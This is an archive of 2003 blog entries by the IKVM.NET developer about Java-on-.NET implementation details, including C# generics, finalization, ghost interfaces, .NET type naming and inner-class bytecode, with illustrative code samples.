Source is not yet in CVS. I made many other changes as well and I'll try to check them in and create a new snapshot tomorrow.

11/15/2003 10:03:33 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, November 14, 2003

Generic Algorithms

Anders Hejlsberg came up with a clever trick to implement generic algorithms with the current C# generics implementation.

According to the C# Version 2.0 Language Specification, interface method invocations on value types (uses a generics parameters) will not cause the value to be boxed. This gave me the idea to use a value type for the calculator to avoid the virtual function dispatch.

using System;
using System.Collections.Generic;

interface ICalculator<T>
{
  T Add(T t1, T t2);
}

struct IntCalculator : ICalculator<int>
{
 
public int Add(int t1, int t2)
  {
   
return t1 + t2;
  }
}

class AlgorithmLibrary<C, T>
where C : ICalculator<T>
{
 
static C calculator = C.default;

  public static T Sum(List<T> items)
  {
    T sum = T.
default;
   
for(int i = 0; i < items.Count; i++)
   
{
      sum = calculator.Add(sum, items[i]);
    }
   
return sum;
  }
}

public class Class4
{
 
static void Main()
  {
   
List<int> foo = new List <int>();
    foo.Add(1);
    foo.Add(2);
    foo.Add(3);

    int sum = AlgorithmLibrary<IntCalculator
, int>.Sum(foo);
    
Console.WriteLine(sum);
  }
}

Depending on how the JIT decides to compile this, this could be very efficient (the JIT could decide to generate specialized x86 code for every type that Sum() is used on).

11/14/2003 11:53:43 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Sunday, November 09, 2003

Finalize Considered Harmful

Last week at the PDC I talked to Anders Hejlsberg (btw, he's a really nice person). I asked him about having a way to prevent boxing and he told me they had already considered it and found too many problems with it (reflection, generics, more on that in another post). I also told him that I felt that C# had only one design flaw: The destructor syntax. I was reminded of this when I was working on some java.nio classes yesterday.

The Java Community Doesn't Understand Finalization

How's that for a section title? It's obviously a generalization, but I don't think it is too far from the truth. To prepare for writing this entry I looked at finalization in three books:

All three are excellent books. Highly recommended.

Addison-Wesley put online the relevant section of Peter's book here. First, let me say that Peter is a very smart guy (I know him from the Colorado Software Summit) and that this doesn't reflect on the quality of the rest of the book, but I'm picking on him because part of this particular "praxis" demonstrates the, IMO, typical misunderstanding of finalization in the Java community (and because his book is one of the few Java books I own).

So, what is wrong with his code? He uses the finalize method to cleanup managed objects that already have their own finalizer!
This practice is widely used in the Java libraries as well and it is a really bad idea. At best it doesn't help (the ServerSocket and FileInputStream will have already been finalized (see JLS 12.6.2 Finalizer Invocations are Not Ordered), or will be finalized soon anyway) and at worst you create APIs that are very difficult to use (or code) because multiple objects "own" the same resource.

The JLS doesn't say anything useful about finalization, but does mention that you should always call super.finalize() in your finalizer (like Peter does in his code).

THIS IS USELESS!

Why? All finalizable classes should extend java.lang.Object and be final, because there is no reason for them not to be. Here is what a finalizable class should look like.

final class FileHandle {
  private int nativeHandle;

  FileHandle(String filename) {
    nativeHandle = nativeOpen(filename);
  }
  private static int nativeOpen(String filename);

  synchronized void close() {
    if(nativeHandle != 0) {
      nativeClose(nativeHandle);
      nativeHandle = 0;
    }
  }
  private static native void nativeClose(int handle);
  
  protected void finalize() {
    close();
  }

  // example operation, the others are omitted
  synchronized int read(...) {
    return nativeRead(nativeHandle, ...);
  }
  private static native int nativeRead(int handle, ...);
} 

Other than exposing the primitive operations that can be performed on the unmanaged resource (thru the handle), the class should have no functionality. The class is package private and used only by the public classes that actually implement the exposed API. The class should never have any references to other objects.

This pattern of factoring out the finalizable resource into a separate class is discussed in the Jones/Lins book. It seems that not enough people read it.

The above discussion is specific to Java and .NET finalization, there are other implementations of finalization that do finalize in order. In such an implementation it can actually be useful to use references to other objects in your finalize method, because you know that the object you're using hasn't already been finalized.

Back To C#

So what's wrong with the C# destructor syntax? I think it encourages the mistake of thinking of Finalize as a destructor (and thus using it to cleanup other managed objects). Also, a "feature" of the C# destructor is that it always call the base class Finalize method. I hope I've shown that this isn't very useful.

Anders agreed with me. "In retrospect we probably shouldn't have done that." (paraphrased from memory).

11/9/2003 3:53:01 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Wednesday, October 29, 2003

More Name Dropping

I finally met Miguel de Icaza at the Unofficial Mono BoF and he gave me a cool Mono T-shirt (Thanks Miguel!). I talked about IKVM with Chris Brumme and discussed reflection with Peter Drayton and Dario Russi. I asked Eric Gunnerson about a custom attribute to prevent boxing, but from his response I take it that it is unlikely that'll ever happen. I met Chris Hollander at the "alternate programming languages BoF" last night (at 11pm, ugh). He told me he got a lot of referrers from my site. Since his blog is named "Objective", this makes me wonder if people are looking for information on the objectives of IKVM. I really should write some more documentation ;-)
10/29/2003 8:59:44 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, October 28, 2003

Whidbey

Whidbey was unveiled this morning. It has lots of nice new features, but I'm particularly interested in some of the improvements to reflection.

  • Finally, there is support for custom modifiers in Reflection.Emit
  • DynamicMethod allows methods to be generated that "implement" a delegate and the code gets garbage collected along with the delegate when it is no longer reachable.
  • There is (some) support for doing more of Reflection.Emit based on tokens (a token is an Int32 that refers to metadata in a module), instead of the more heavy weight MethodInfo/FieldInfo/etc. objects.
  • Reflection objects (e.g. MethodInfo) are now kept in a weak reference cache, so that they can be garbage collected if they aren't needed anymore.

I need to do some rewriting to take advantage of the last two, but once I do, the memory usage of IKVM should (hopefully) go down significantly. I'm not entirely sure that the changes they made are powerful enough, but it is an important step in the right direction.

I know I promised I wasn't going to move to Whidbey anytime soon, but I am going to introduce some conditional compilation for Whidbey specific features, so that I can play around with them. Mainstream development will continue to be on 1.1

10/28/2003 9:23:21 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Monday, October 27, 2003

Eclipse Reception

Last night I visisted the Eclipse reception at OOPSLA 2003. Chris Laffra from IBM Canada had prepared a poster on Alternative Eclipse Execution Models and he included IKVM on it. He also invited me to the Eclipse Reception. There was a fair amount of interest in IKVM and I talked to a bunch of people, including Erich Gamma and Doug Lea. That was cool.

This morning I atttended the PDC keynote by Bill Gates and Jim Allchin. See the other PDC blogs for details ;-)

If you're at the PDC, I'm wearing a red/white/blue (vertical bars, as in the Dutch flag) polo shirt with a small Java logo in the front. If you see me, say hi.

10/27/2003 9:15:03 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Sunday, October 26, 2003

PDC

I arrived in LA last Friday. No internet access in the hotel room, but fortunately the conference center has excellent connectivity.

I'm not going to be PDC blogging, but expect more non-technical entries this week than usual.

Tonight I'm going to the Eclipse reception at OOPSLA 2003. It'll be fun to chat with some of the Eclipse developers. May be I can get them to fix their class loading ;-)

10/26/2003 6:07:35 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, October 22, 2003

Private Super Classes

While trying to get Stuart Ballard's Japitools to work on a netexp generated export of IKVM's classpath.dll, I encountered java.awt.BufferCapabilities.FlipContents. This public (inner) class has non-public base class (java.awt.AttributeValue). What kind of a bizarre design is that?

I had never realised that the Java language allowed this. Fortunately, the C# designers didn't make the same mistake.

Note that a similar issue exists for fields (and method arguments). In Java it is legal to have a public field of a non-public type, or a public method that takes an argument of a non-public type. C# prohibits both of these.

I fixed netexp to export non-public base classes (and I should do the same for interfaces, fields and method arguments/return type).

10/22/2003 6:36:30 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, October 17, 2003

Ghosts

It took a bit longer than I anticipated, but I finally managed to put together a new snapshot and check in the changes I made in last month and a half.

What's new?

  • Fixed bug in class load failure diagnostics code.
  • Instead of having a single Type property on TypeWrapper, we now have different properties for different usages. I already know this isn't the final way I'm going to handle things, but for now it is a nice improvement that makes it easier to treat types differently based on where they are appearing (e.g. field, local, argument, base type).
  • Simple ghost references are translated as value type wrappers. See below for details.
  • Reflection support for ghost types.
  • Fixed a few ILGenerator.Emit() bugs where incorrect argument types were passed (int instead of short or byte).
  • Added a NoPackagePrefixAttribute to allow .NET types to not be prefixed with the "cli" prefix. (Suggested by Stuart Ballard)
  • Fix to prevent non-public delegates from being visible.
  • Several fixes in the handling of unloadable types.
  • Fixed java.lang.Comparable interface and method attributes to be identitical to the real interface.
  • Fixed java.lang.Runtime.exec() support for quoted arguments.

Ghost References

First of all, why did I feel the need to change it? Imagine that java.lang.StringBuffer had the following methods:

public void append(Object o) { ... }
public void append(CharSequence cs) { ... }

Previously, CharSequence would be erased to Object, so you'd have two methods with an identical signature, thus requiring name mangling. Using the method from C# would become very inconvenient, both because of the unexpected name, but also because of the fact that it isn't at all clear what argument type is expected (and passing an incorrect type will give odd results, like ClassCastException or IncompatibleClassChangeError).

Enter the value type wrapper. Here is how the java.lang.CharSequence interface is compiled now (pseudo code):

public struct CharSequence {
  public interface __Interface {
    char charAt(int i);
    // ... other methods ...
  }
  public object __ref;
  public static CharSequence Cast(object o) {
    CharSequence s;
    if(o is string) {
      s.__ref = o;
      return s;
    }
    s.__ref = (__Interface)o;
    return s;
  }
  public static bool IsInstance(object o) {
    return o is string || o is __Interface;
  }
  public object ToObject() {
    return __ref;
  }
  public static
    implicit operator CharSequence(string s) {
    CharSequence seq;
    seq.__ref = s;
    return seq;
  }
  public char charAt(int i) {
    if(__ref is string) {
      return StringHelper.charAt((string)__ref, i);
    }
    return ((__Interface)__ref).charAt(i);
  }
  // ... other methods ...
}


All types that implement CharSequence will be compiled to implement CharSequence.__Interface and will also get an implicit conversion operator to convert to CharSequence. This allows C# code to easily call any methods that take a CharSequence argument, because any valid type will be implicitly convertible to the CharSequence value type.

What Are The Downsides?

There are a few cons:

  • This trick doesn't work for arrays. So a CharSequence[] is still compiled as Object[]. Hopefully arrays are far less common, so this will not be a big issue.
  • C# code implementing CharSequence, needs to implement CharSequence.__Interface and also needs to provide an implicit conversion operator to the CharSequence value type.
  • The static methods Cast and IsInstance need to be used instead of the normal language features.
  • It is very easy to accidentally box the CharSequence value type in C#, when you pass this to Java things will get very confusing. The proper way to convert CharSequence to Object is by calling ToObject() on it.

Update: I forgot to mention that the reason that you have to implement the implicit conversion on all types that implement the interface is because C# doesn't allow implicit conversion from/to interfaces, otherwise the CharSequence value type could just have an implicit conversion from CharSequence.__Interface and we'd be done. Funnily enough, while C# doesn't allow you to define them, it turns out it does consume them, but I don't know if this is guaranteed behavior or a bug. I need to find this out. If it turns out to be correct, then I'll add the implicit conversion operator to the value types, that makes life for C# implementers a tiny bit easier.

All in all, I think this is an improvement, but obviously not perfect. As always, feedback is appreciated.

The new snapshots: binaries and complete.

10/17/2003 3:57:05 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, October 16, 2003

GNU Classpath Meeting

We had a small GNU Classpath meeting on Tuesday at the Linux Kongress in Saarbrücken, Germany. I drove down there for just that day. There were 6 others there: Dalibor Topic (Kaffe), Chris Gray (Wonka), Mark Wielaard (GNU Classpath), Sascha Brawer (GNU Classpath), Jean Daniel Fekete (Agile2D), Patrik Reali (JAOS).

I enjoyed it very much. The discussions were interesting and it was nice to finally meet some of the people involved with GNU Classpath.

We talked about how to implement Java2D. Jean Daniel has worked on Agile2D a Java2D implementation based on OpenGL. This is a nice starting point and OpenGL is available on virtually every platform. This would work for IKVM.NET as well. Sascha pointed out that I should really implement Java2D on top of the .NET System.Drawing classes (based on GDI+). That would be cool, but I think it would be too much work (for me).

I also had an interesting discussion with Patrik about JAOS, a JVM on top of Oberon (a sort of object oriented OS, if I understand it correctly). He faces some of the same problems as I do, with the integration of the two object models.

One of the conclusions of the meeting was that GNU Classpath is alive and kicking (and doing very well in terms of progress being made), but we need a little more publicity. So consider this my small drop in the bucket. If you are a Java developer and want to improve the state of free JVMs, please visit the GNU Classpath web site and consider helping out. In the near future there will be a new task list detailing some of the work that needs to be done (and it will include estimated required effort and skill set).

10/16/2003 2:36:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, October 03, 2003

Vacation

I'm going on vacation again :-) I'll be back on the 12th.

I just realised I haven't blogged for a whole month. It's not because there hasn't been any progress. I've been experimenting with a way to make ghost interfaces more usable from other languages. More on that when I get back.

10/3/2003 9:53:33 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [8]

Monday, September 01, 2003

Constructing Inner Classes

Alan Macek pointed out an interesting bug in the verifier.

First, some background. Let's look at this code fragment:

class Test {
    Test() {
      new Runnable() {
          public void run() {}
      };
    }
    public static void main(String[] args) {
      new Test();
    }
}

Inner classes aren't supported by the VM, it's a compiler fiction, so when you compile the above code you get the equivalent of the following:

class Test {
    Test() {
      new Test$1(this);
    }
    public static void main(String[] args) {
      new Test();
    }
}
 
class Test$1 implements Runnable {
    private Test outer;
    Test$1(Test outer) {
      this.outer = outer;
    }
    public void run() {}
}

The interesting bit here is that the outer field is initialized after the base class constructor runs. In this case the base class is Object so this isn't significant, but when you have a base class that calls virtual methods it is:

abstract class Base {
    Base() {
      run();
    }
    public abstract void run();
}
 
class Test {
    Test() {
      new Base() {
          public void run() {
            System.out.println(Test.this);
          }
      };   
    }
    public static void main(String[] args) {
      new Test();
    }
}

When you compile this and run it, it prints out: null. The outer this reference is not yet initialized when the Base constructor runs.

However, when you compile it with the -target 1.4 option, it prints out: Test@17182c1 (or something similar). So clearly an interesting change was made to the compiler.

Let's take a look at the bytecode of the constructor of the original code fragment:

<init>(LTest;)V
0  aload_0
1  invokespecial java/lang/Object/<init>()V
4  aload_0
5  aload_1
6  putfield Test$1/this$0 Test
9  return

First, the base class constructor is called and then the this$0 field is initialized.

Now take a look at the same method, but now as compiled with the -target 1.4 option:

<init>(LTest;)V
0  aload_0
1  aload_1
2  putfield Test$1/this$0 Test
5  aload_0
6  invokespecial java/lang/Object/<init>()V
9  return

The order of the two steps is reversed. Now it first initializes the this$0 field and then calls the base class constructor.

I had missed the fact that it is legal to initialize fields in an unitialized object. So when the latter code was run, the verifier compiled that an uninitialized object reference was used.

The big question is why the compiler only does this when the -target 1.4 option is specified. This rule of allowing instance fields of unitialized object to be written has always been in the JVM specification, as far as I can tell.

New Snapshots

Friday, I put up new snapshots. Source and binaries and binaries only.

Changes since the last (on the blog announced) snapshot:

  • New version of netexp based on Java reflection (all .NET to Java mapping is now in the IKVM reflection runtime).
  • To support netexp, the .NET type reflection is now much better. This includes support for delegates and byref arguments. Instead of lower casing the .NET namespaces, all .NET types are now prefixed with the "cli." package name. Remapped this are also available and appear as final classes without constructors, but with static methods for all instance methods (taking the remapped type as the first argument). Constructors are available as static __new methods.
  • Bootstrap class loader is now a flat type space. All loaded assemblies are searched for bootstrap types when Class.forName is used.
  • Enums are now treated as other value types (i.e. boxed). This allows better accesses to overloaded .NET methods.
  • Lots of clean up and refactoring to support the new reflection capabilities.
  • Various bug fixes.
  • Updated to work with latest GNU Classpath CVS.
9/1/2003 4:32:56 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [9]

Sunday, August 17, 2003

More discussion on netexp and Class.forName

Stuart commented:

Well, I think it's really ugly, but I've run out of better proposals ;) I have lots of questions and few answers - here are some...

Is it possible for the same class to have multiple names? (There must already be *some* concessions to this, because, for example, "System.Exception" is also known as "java.lang.Throwable" - similarly for "Object" and "String").

That's right. In general it is not possible for a class to have multiple names, but the three classes you name are special cases. They can have multiple names because Java code will never encounter instances of them (instances will always appear as java.lang.Object, java.lang.String and java.lang.Throwable). The IKVM reflection code knows this and can make it appear so that System.Object, System.String and System.Exception are final classes without constructors and with only static methods. That way Java code will be able to call (almost) all .NET methods on these types.

I wonder if there could be some concessions for "well-known" assemblies, such as corlib, System, and the various System.* and Microsoft.* assemblies that ship with the framework.

How does this whole thing work with Mono which doesn't support strong names? What about unsigned assemblies?

It really isn't about strong names. The real issue is that in Java class identities are resolved based on the class name and class loader hierarchy, while in .NET type identities are resolved based on type name, assembly name and binding policy. Those two models are very different and the trick is to find a way to map one onto the other.

How does this "round-trip"? In other words, if I use ikvmc to compile some Java code into a .NET DLL, use netexp to export that DLL, and try to use its classes, do I now need to fully-qualify them?

No, you wouldn't need to fully qualify them, but you would need to make sure that the first DLL gets loaded into the AppDomain before you do any Class.forName() on it. This is essentially the problem I'm trying to solve for .NET types, but for round-tripped code I don't think it is solvable.

I guess my primary feeling is that all these solutions seem to make things worse than they currently are, where for the *most* part things "just work", and I don't have to understand strong naming or any of the other details of the .NET assembly loading model to be able to seamlessly interoperate between the two languages. I wish there were some way to solve the internal issues while still preserving that niceness-to-use.

I agree. Also my previous proposal also has a problem, for one thing, it still has problems with assembly versioning. If you run on a later version of the .NET framework the system assembly version no longer match the ones in the Java class name and thus Class.getName() will return a different name then the one used to load the class.

Obmoloc wrote:

A agree with Stuart. I think that the following code must work always:

assert Class.forName(x).getName() == x.intern();

Assuming you mean: Class.forName(x).getName().equals(x), I agree, but that is the easy one, it should also hold that for a Class c with a no-arg constructor: c.newInstance().getClass() == c

Given that, Class.forName("NET.System.String") should throw a ClassNotFoundException, as for Class.forName("NET.System.Exception"), and for Class.forName("NET.System.Object").

I believe that there is little or no need to call those methods, and so to import such classes.

I already explained how in response to Stuart's question, let me address the why here. In order to implement java.lang.String I have to write some code (System.String doesn't have equivalent methods of everything java.lang.String has). It's easiest to write this code in Java, because if I write it in C# I have to manually handle some special cases that the compiler handles for Java code. Hence I need to have access to the System.String methods. See StringHelper.java for how it currently works. This isn't the right way, while writing that I thought of the remapping of instance methods (and constructors) to static methods, but I haven't implemented that.

If one needs to know, in a generic way, wich Java class represents a .NET class, a new method should be enough for that. For example, Class.NETforName("NET.System.String") should return the same value that Class.forName("java.lang.String"). Another method could be Class.javaNameFromNETName, such as Class.javaNameFromNETName("NET.System.Exception") returns "java.lang.Throwable".

This wasn't the problem I was trying to solve and I don't think there is any need to know this.

So, I agree about using a prefix, but I suggest not using "NET.", and use "org.cli." instead, or something like this. "NET." is just too generic.

Using someone else's domain name isn't that great either. How about simply "cli"?

Jonathan Pierce commented:

I guess I don't fully understand the problem but I really dislike the idea of requiring prefixes when referencing or importing classes.

Do you mean prefixing in general or just the very long assembly name goo?

Why does the netexp implementation require that the class literal (which is compiled using Class.forName()) for statically linked netexp generated classes be in the classpath?

Currently, the class name doesn't contain enough information to resolve to a type, only when the netexp generated class is loaded IKVM notices the attribute in there that tells it what assembly the type lives in. I didn't want to search all loaded assemblies because that makes the behavior non-deterministic (sort of). If you run the class literal before the assembly gets loaded it would fail, but after it gets loaded it would work.

An Alternate Proposal

I've pretty much given up hope that there is a perfect solution to this problem, but I would like to suggest this simplified solution and see how everyone feels about this.

Basic idea: As soon as an assembly gets loaded into the AppDomain it becomes part of the boot classpath and they are "loaded" by the bootstrap class loader (to be clear, each assembly does not live in its own class loader).

Pros:

  • Simple model.
  • It mostly just works.
  • Consistent with the way precompiled Java code is treated.
  • It's basically the existing model.

Cons:

  • No way to deal with class name clashes.
  • Non-deterministic. In case of name clashes, the first one encountered is returned. Class.forName() only works if the assembly was already loaded somehow. However, to make it more usable, Class.forName() will also allow the class name to be an assembly qualified type name. In this case the class returned will have a different name from the one requested.

Why not have a class loader per assembly?

It turns out that having a class loader per assembly doesn't really solve anything. For the system to be usable, all assembly class loaders would have to be linked together lineairly. Here is a diagram:

            bootstrap class loader
                      |
                   mscorlib
                      |
                   System
                      |
              (other assemblies)
                      |
             extension class loader
                      |
            application class loader

Each class loader must always ask its parent to load a particular class first, so when a type is defined in mscorlib there can never be another type with that same name, even if it would be loaded by a different class loader. As an aside, as some of you may know, some (most?) J2EE application servers get around this problem by violating the class loader rules (not calling the parent class loader first), in this case however that wouldn't work (and arguably in the J2EE case it doesn't work either).

Using a tree shaped class loader hierarchy does allow multiple classes with the same name, but it only works when each leaf of the hierarchy is basically a separate application.

Comments?

8/17/2003 1:41:13 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, August 15, 2003

More on interaction with .NET types

In yesterday's item I didn't do a good job of explaining the issue, so today I'll try again and respond to the comments as well.

First, let me start by explaining the current situation. There are two ways to get access to a .NET type:

  • netexp
    When you run netexp on a .NET assembly it generates Java classes for all public .NET types in the assembly. The Java classes contain no code, they're just stubs so that you can use a regular Java compiler to code against .NET types. When IKVM.NET loads such a stub, it notices that the class file contains a special attribute that says "this is a netexp stub class, please redirect to .NET type such-and-such". Note that the attribute contains an assembly qualified type name, because in general you can only load a type in .NET when you have its assembly qualified name.
  • Class.forName()
    Calling Class.forName() with an assembly qualified name will cause a .NET type to be loaded. The name of the class that is returned is the full name (i.e. not including the assembly part).

There are several problems with the current approach:

  • The name of a class loaded doesn't match with the name it was loaded with.
  • A type can be loaded under different names.
  • The class literal (which is compiled using Class.forName()) for netexp generated classes only works if the netexp generated class is in the classpath (even if the code was statically compiled).

Stuart commented:

Have you considered only lowercasing the "system" namespace and no others? Or perhaps (to be really safe) only lowercasing top-level namespaces that match the name of a class in java.lang?

Also, would it be possible for the implementation of Class.forName to do remapping of classnames from normal java ones to assembly qualified ones? If so, would that solve the problem? (I'm not entirely sure I understand what the problem is, so I'm not sure)

Only lowercasing the system namespace isn't really a generic solution, because any .NET namespace that is the same as a Java class in the java.lang package would cause problems. Treating all names in the java.lang package specially feels like a kludge. Using a special prefix like Brian suggets would be a better idea.

In regards to the second point, in .NET you really need to have an assembly qualified name for a type. Searching all available assemblies isn't feasible.

I responded to Stuart:

One of the problems is that all .NET types are loaded by the bootstrap class loader, so they have to have distinct names.

I just had an another idea. It might be a good idea to encode the assembly qualified name in the package. For example for the System.String type:

assembly.mscorlib.1.0.5000.0.neutral.b77a5c561934e089.System.String

This has the advantage that you can use "import" in most cases (although not for String) to use the short name.

I have to think about it, but I think I like it.

After thinking about it some more, I still really like this idea. It has three huge advantages: 1) There is a natural bi-directional mapping between the class name and the .NET type name, 2) Both netexp and Class.forName can use the same naming scheme and 3) The netexp generated classes aren't needed at runtime (or ikvmc compile time).

In response to my response Stuart commented:

Hmmm... how fundamental a rearchitecting would it take to have a classloader per assembly? Then there would be a trivial isomorphism between Java's "names are unique within a classloader" and .NET's "names are unique within a strongly-named assembly", if I'm understanding correctly.

Having a class loader per assembly is tempting, but it doesn't solve the issue of finding the .NET type (you still need to know in what assembly a type lives). This would be solvable by introducing a new API to get a class loader corresponding to an assembly, but that obviously has the downside that it doesn't interoperate very well with existing Java code. For example, the IKVM.NET AWT implementation lives in a .NET assembly (written in C#) and is loaded by GNU Classpath using Class.forName(). This only works if Class.forName() has enough information about the assembly.

Brian Sullivan commented:

I don't care for the occasional lowercasing ideas.

It could be that all .NET classes would begin with NET. from the Java perspective.

NET.System.String
NET.Some.Other.Class

import NET.*; // import all of .NET

This makes it clear where the class is defined and clearly separates all of .NET into its own package.

The prefixing is a good idea to get around the System name clash. BTW, import NET.* doesn't hierarchically import all packages, but only the classes in the NET package.

Does anyone have anything against the newly proposed name mangling scheme? Obviously the details need to be worked out (my proposed package name above doesn't actually compile), but what about the general idea?

8/15/2003 3:09:27 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Thursday, August 14, 2003

Workarounds

This week I finished the support for missing classes. This allows Eclipse to run without the -Xbootclasspath workaround.

To run Eclipse (on Windows), you can now simply go to the Eclipse directory and type:

   eclipse -vm \ikvm\bin\ikvm.exe

The verifier and compiler had to be changed to support, what I call in the code, unloadable classes (probably should have called it missing classes). Whenever the verifier encounters a reference of a type that cannot be loaded, it treats it as a special type (kind of like the null-type) and allows (almost) any operation to succeed. When the compiler encounters this type, it instead of generating CIL instruction to implement a particular instruction, it generates a call to a helper method in ByteCodeHelper that implements the instruction using reflection. At the moment the reflection results are not cached, so it could be made more efficient by adding caching, but since this shouldn't happen that often, this is not a high priority.

java.lang.CharSequence

I also finally implemented support for (what I've termed) ghost interfaces. Ghost interfaces are interfaces that are implemented by remapped types. So, for example, java.lang.String (really System.String) appears to implement java.lang.CharSequence, thus java.lang.CharSequence is a ghost interface. When a reference of a ghost interface type is passed around, it really is an object reference (so that it can contain references to types that actually implement the interface, as well as types that only appear to implement the type).

Here is an example:

CharSequence toUpperCase(CharSequence seq) {
  StringBuffer buf = new StringBuffer();
  int len = seq.length();
  for(int i = 0; i < len; i++) {
    char c = seq.charAt(i);
    c = Character.toUpperCase(c);
    buf.append(c);
  }
  return buf;
}

This is compiled as:

Object toUpperCase(Object seq) {
  StringBuffer buf = new StringBuffer();
  int len;
  if(seq instanceof String) {
    len = ((String)seq).length();
  } else {
    len = ((CharSequence)seq).length();
  }
  for
(int i = 0; i < len; i++) {
    char c;
    if(seq instanceof String) {
      c = ((String)seq).charAt(i);
    } else {
      c = ((CharSequence)seq).charAt(i);
    }
    c = Character.toUpperCase(c);
    buf.append(c);
  }
  return buf;
}

There are some downsides to this approach:

  • Performance cost of the type check and the cast. BTW, since System.String is a sealed type, the type check can (theoretically) be very efficient.
  • Type is erased in the method signature, causing problems if an identifical signature already exists (the CLR supports a nice mechanism to workaround this, but unfortunately Reflection.Emit currently doesn't expose this functionality).
  • When this method is statically compiled and called from, for example, C#, the signature is confusing.

An alternative approach would be to wrap each String object when it needs to be treated as a CharSequence, but is harder to implement (object identity has to be preserved) and it isn't clear to me that it would be more efficient or elegant.

On the upside, this is a totally generic solution, there is no special support for String, any remapped type (i.e. type in map.xml) can declare to support any interface, and the compiler will automatically do the right thing. It is also used to make java.lang.Throwable (i.e. System.Exception) appear to implement java.io.Serializable. At the moment it isn't used for arrays (which should appear to implement java.io.Serializable and java.lang.Cloneable), but it would be easy to add this.

Oh, and since java.lang.String now implements CharSequence, I can now use the StringBuffer implementation from GNU Classpath instead of remapping it to System.Text.StringBuilder.

Reflecting on .NET types

Another thing I've been working on is integration with .NET types. When you want to use a .NET type from within Java you have two options: 1) use netexp to generate a jar containing stubs for the .NET classes, so you can statically compile against the .NET types, or 2) use reflection against the .NET type.

Something I dislike about netexp is that it includes remapping logic to map .NET types and signatures to Java compatible stuff. For example, when it encounters an enum, it generates a final Java class with public static final members or when it encounters a signature with a byref argument, it turns that into an array argument. Now this is all very nice, because it allows Java code to use most of the .NET features that Java doesn't really support, but the part I don't like is that this remapping is also done in the IKVM.NET runtime, because when it compiles Java code that was compiled against a netexp generated jar, it needs to do some of the same translations. This duplication of the remapping logic is obviously not a good thing. So I want to rewrite netexp in Java and make it use Java reflection to interrogate the .NET types, that way all the remapping is done in one place, the IKVM.NET runtime.

However, while thinking about this I realized that there is a problem with respect to type identity. There are two ways a .NET type can become visible in Java, netexp and Class.forName. Both have problems with the class name. Netexp converts to namespaces to lowercase, because Java compiler don't like the System namespace (System binds to the java.lang.System class and is not considered as a package name) and Class.forName requires the assembly qualified type name (e.g. "System.String, mscorlib, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"). There are several ways to handle this:

  1. Only allow .NET types to be visible through netexp generated classes. Obviously, I don't like this, because it would be very limiting and my plan to rewrite netexp in Java wouldn't work.
  2. Allow .NET types to be visible through netexp with one name (e.g. system.String) and through Class.forName with another name (i.e. the assembly qualified name). The problem this causes is that once you create an instance of a class and call getClass on that instance, which of the two Class objects should it then return?
  3. Use a universal name mangling scheme. Both netexp and Class.forName would represent System.String as, for example, "System_String__mscorlib__Version_1_0_5000_0__ Culture_neutral__PublicKeyToken_b77a5c561934e089". I think this would work pretty well, but the obvious downside is that it makes the Java source code totally unreadable. Something that still would be an issue is how Java code reacts when it tries to load one class and then gets another (in the face of .NET binding policy). For example, it would be possible to load the above String, but then get a Class object that returns "..._Version_2_0_..." as its name, because the app is running on some future version of the CLR.

Maybe there are other solutions I haven't thought of, but at the moment I'm thinking of going with number 2.

I updated the snapshots on Tuesday. Binaries and source.

8/14/2003 12:06:29 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]

Wednesday, August 06, 2003

PDC 2003

I'm attending the PDC in October. I'd love to have a chat with any readers of my blog, so if you'll be there as well, send me an e-mail.

Thanks to Jeff Sandquist for the graphic.

8/6/2003 6:01:59 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, July 24, 2003

GridBagLayout and more AWT

I did some work on the GNU Classpath GridBagLayout and it is now almost done (a large part was already done by Michael Koch). Obviously, writing the GridBagLayout code requires a good understanding of how it works. I never bothered to really understand the GridBagLayout, but I did use it quite frequently, a couple of years ago. I remember it was mostly a process of trial and error. After taking the time to figure out how it works, I must say that I actually really like it. It has a somewhat bad reputation in the Java community, but I think it's quite nice.

I can't leave it on that positive note, of course ;-) I have to criticize it as well. Sun has this really nasty habit of renaming virtual methods (adding aliases). This is not a good idea, to put it mildly. In JDK 1.4 they introduced: getLayoutInfo, adjustForGravity, getMinSize and arrangeGrid. These methods offer no new functionality, they are "replacements" for GetLayoutInfo, AdjustForGravity, GetMinSize and ArrangeGrid. So just because someone didn't abide by the method naming rules, some idiot now decides to enormously complicate the class.

You might think, what's the big deal? The problem is that when you're overriding a virtual method that has two names, you don't know which one you should override. Overriding both usually doesn't work either because you usually want to call the super class implementation one of which in turn usually calls the other version of the method, thus resulting in infinite recursion.

Anyway, I made new snapshots. Source and binaries.

What's new?

  • More AWT support, still nowhere near usable. But see these screenshots for some non-trivial stuff that is (partially) working.
  • Statically compiled classes are now annotated with a custom attribute for each interface they implement. This enables the Class.getInterfaces() to work correctly for statically compiled classes.
  • Fixed a bug in Method.getModifiers() for constructors in statically compiled classes, that caused them to appear final.
7/24/2003 5:38:07 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, July 21, 2003

Abstract Windowing Toolkit

Originally I had titled this item "Afwul Windowing Toolkit", but then I decided to look up the dictionary definition of abstract. It's one of those words, like its close relative virtual, that we (programmers) like to use a lot using our own private (to our group) definition, but what else does it mean?

Here are some definitions courtesy of yourDictionary.com

ab·stract
adj.

  1. Considered apart from concrete existence: an abstract concept.
  2. Not applied or practical; theoretical. See Synonyms at theoretical.
  3. Difficult to understand; abstruse: abstract philosophical problems.
  4. Thought of or stated without reference to a specific instance: abstract words like truth and justice.
  5. Impersonal, as in attitude or views.
